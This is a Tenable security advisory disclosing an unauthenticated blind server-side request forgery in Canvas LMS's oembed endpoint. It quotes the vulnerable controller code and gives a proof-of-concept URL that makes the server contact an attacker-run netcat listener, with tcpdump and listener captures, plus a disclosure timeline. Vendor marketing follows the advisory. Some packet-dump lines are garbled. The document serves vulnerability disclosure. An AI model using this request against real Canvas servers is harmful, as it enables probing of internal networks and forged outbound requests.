Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Canvas LMS Unauthenticated Blind SSRF

Medium

Synopsis

A server-side request forgery vulnerability exists in the /external_content/retrieve/oembed route. A remote, unauthenticated attacker can exploit this vulnerability to force the Canvas LMS application to perform HTTP GET requests to arbitrary domains. An attacker could abuse this to cause the Canvas application to generate requests to other URLs.

The flaw exists in external_content_controller's oembed_retrieve method. The endpoint parameter is parsed, and subsequently passed to CanvasHttp.get() as an argument. This fires off an HTTP GET request to the endpoint specified, and the url parameter will contain arbitrary content.

def oembed_retrieve
    endpoint = params[:endpoint]
    url = params[:url]
    uri = URI.parse(endpoint + (endpoint.match(/\?/) ? '&url=' : '?url=') + CGI.escape(url) + '&format=json')
    begin
      res = CanvasHttp.get(uri.to_s)  # SSRF vulnerability
      data = JSON.parse(res.body)
      content_item = Lti::ContentItemConverter.convert_oembed(data)
    rescue StandardError
      content_item = {}
    end
    render :json => [content_item]
  end

Below I have set up a test scenario for proof of concept.

Proof of Concept

The Canvas LMS application is hosted at 192.168.1.189. I also set up a Netcat listener at 192.168.1.191:4444. Additionally, I started tcpdump on the machine hosting Canvas.

After visiting

http://192.168.1.189/external_content/retrieve/oembed?endpoint=http://192.168.1.191:4444&url=scooby
in a web browser, the following tcpdump output was observed:
[email protected]:~$ sudo tcpdump -i enp0s3 -X "tcp port 4444"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on enp0s3, link-type EN10MB (Ethernet), capture size 262144 bytes
20:35:37.219351 IP 192.168.1.189.57180 > 192.168.1.191.4444: Flags [S], seq 1671470788, win 64240, options [mss 1460,sackOK,TS val 3128961787 ecr 0,nop,wscale 7], length 0
	0x0000:  4500 003c ab39 4000 4006 0ab6 c0a8 01bd  E..<.9 c0a8="" df5c="" .....="" a002="" faf0="" efa8="" ................="" ba80="" ..="" ip=""> 192.168.1.189.57180: Flags [S.], seq 381787082, ack 1671470789, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 525935089 ecr 3128961787,sackOK,eol], length 0
	0x0000:  4500 0040 0000 4000 4006 b5eb c0a8 01bf  [email protected]@[email protected]
	0x0010:  c0a8 01bd 115c df5c 16c1 9bca 63a0 9ec5  .....\.\....c...
	0x0020:  b012 ffff e5ae 0000 0204 05b4 0103 0306  ................
	0x0030:  0101 080a 1f59 21f1 ba80 2afb 0402 0000  .....Y!...*.....
20:35:37.219805 IP 192.168.1.189.57180 > 192.168.1.191.4444: Flags [.], ack 1, win 502, options [nop,nop,TS val 3128961787 ecr 525935089], length 0
	0x0000:  4500 0034 ab3a 4000 4006 0abd c0a8 01bd  E..4.:@[email protected]
	0x0010:  c0a8 01bf df5c 115c 63a0 9ec5 16c1 9bcb  .....\.\c.......
	0x0020:  8010 01f6 2389 0000 0101 080a ba80 2afb  ....#.........*.
	0x0030:  1f59 21f1                                .Y!.
20:35:37.220048 IP 192.168.1.191.4444 > 192.168.1.189.57180: Flags [.], ack 1, win 2058, options [nop,nop,TS val 525935089 ecr 3128961787], length 0
	0x0000:  4500 0034 0000 4000 4006 b5f7 c0a8 01bf  [email protected]@.......
	0x0010:  c0a8 01bd 115c df5c 16c1 9bcb 63a0 9ec5  .....\.\....c...
	0x0020:  8010 080a 1d75 0000 0101 080a 1f59 21f1  .....u.......Y!.
	0x0030:  ba80 2afb                                ..*.
20:35:37.220651 IP 192.168.1.189.57180 > 192.168.1.191.4444: Flags [P.], seq 1:176, ack 1, win 502, options [nop,nop,TS val 3128961788 ecr 525935089], length 175
	0x0000:  4500 00e3 ab3b 4000 4006 0a0d c0a8 01bd  E....;@[email protected]
	0x0010:  c0a8 01bf df5c 115c 63a0 9ec5 16c1 9bcb  .....\.\c.......
	0x0020:  8018 01f6 b165 0000 0101 080a ba80 2afc  .....e........*.
	0x0030:  1f59 21f1 4745 5420 2f3f 7572 6c3d 7363  .Y!.GET./?url=sc
	0x0040:  6f6f 6279 2666 6f72 6d61 743d 6a73 6f6e  ooby&format=json
	0x0050:  2048 5454 502f 312e 310d 0a41 6363 6570  .HTTP/1.1..Accep
	0x0060:  742d 456e 636f 6469 6e67 3a20 677a 6970  t-Encoding:.gzip
	0x0070:  3b71 3d31 2e30 2c64 6566 6c61 7465 3b71  ;q=1.0,deflate;q
	0x0080:  3d30 2e36 2c69 6465 6e74 6974 793b 713d  =0.6,identity;q=
	0x0090:  302e 330d 0a41 6363 6570 743a 202a 2f2a  0.3..Accept:.*/*
	0x00a0:  0d0a 5573 6572 2d41 6765 6e74 3a20 5275  ..User-Agent:.Ru
	0x00b0:  6279 0d0a 436f 6e6e 6563 7469 6f6e 3a20  by..Connection:.
	0x00c0:  636c 6f73 650d 0a48 6f73 743a 2031 3932  close..Host:.192
	0x00d0:  2e31 3638 2e31 2e31 3931 3a34 3434 340d  .168.1.191:4444.
	0x00e0:  0a0d 0a                                  ...
20:35:37.220841 IP 192.168.1.191.4444 > 192.168.1.189.57180: Flags [.], ack 176, win 2056, options [nop,nop,TS val 525935090 ecr 3128961788], length 0
	0x0000:  4500 0034 0000 4000 4006 b5f7 c0a8 01bf  [email protected]@.......
	0x0010:  c0a8 01bd 115c df5c 16c1 9bcb 63a0 9f74  .....\.\....c..t
	0x0020:  8010 0808 1cc6 0000 0101 080a 1f59 21f2  .............Y!.
	0x0030:  ba80 2afc                                ..*.

Notice that an HTTP request was sent out over TCP port 4444 to 192.168.1.191.

Here is the output from my netcat listener:

sh-3.2$ nc -lv 4444
GET /?url=scooby&format=json HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Connection: close
Host: 192.168.1.191:4444

Notice that the value of the url parameter can be controlled. This allows an attacker to send requests containing arbitrary messages.

Solution

An official patch is not yet available. However, a proposed fix was committed to master on GitHub.

Disclosure Timeline

07/24/2020 - Tenable asks [email protected] for a direct contact.
07/24/2020 - Automated response received. Instructs us to send the report directly to [email protected] using the provided PGP key.
07/24/2020 - Tenable encrypts the report and sends it in.
07/28/2020 - Instructure asks us to encrypt the report with a different key.
07/29/2020 - Tenable encrypts the report with the new key and sends it in. Updates 90-day date to Oct 27.
07/29/2020 - Instructure thanks Tenable for the report. They are reviewing it now.
08/10/2020 - Tenable asks for an update.
08/10/2020 - Instructure says Canvas changes will be deployed to beta environments Aug 13 for testing and then to production Sept 19. They will publicly disclose the issue and its fix after the Sept 19 deployment.
08/11/2020 - Tenable notices a commit directly to master on GitHub that fixes this vulnerability and describes the fix. Communicates to Instructure that, per our policy, we consider this fix to be public disclosure, and we will publish an advisory.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now
Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 30 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 30 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.

Try for Free Contact Sales

Try Tenable Lumin

FREE FOR 30 DAYS

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Request a demo of Tenable.ot

Get the Operational Technology Security You Need.
Reduce the Risk You Don’t.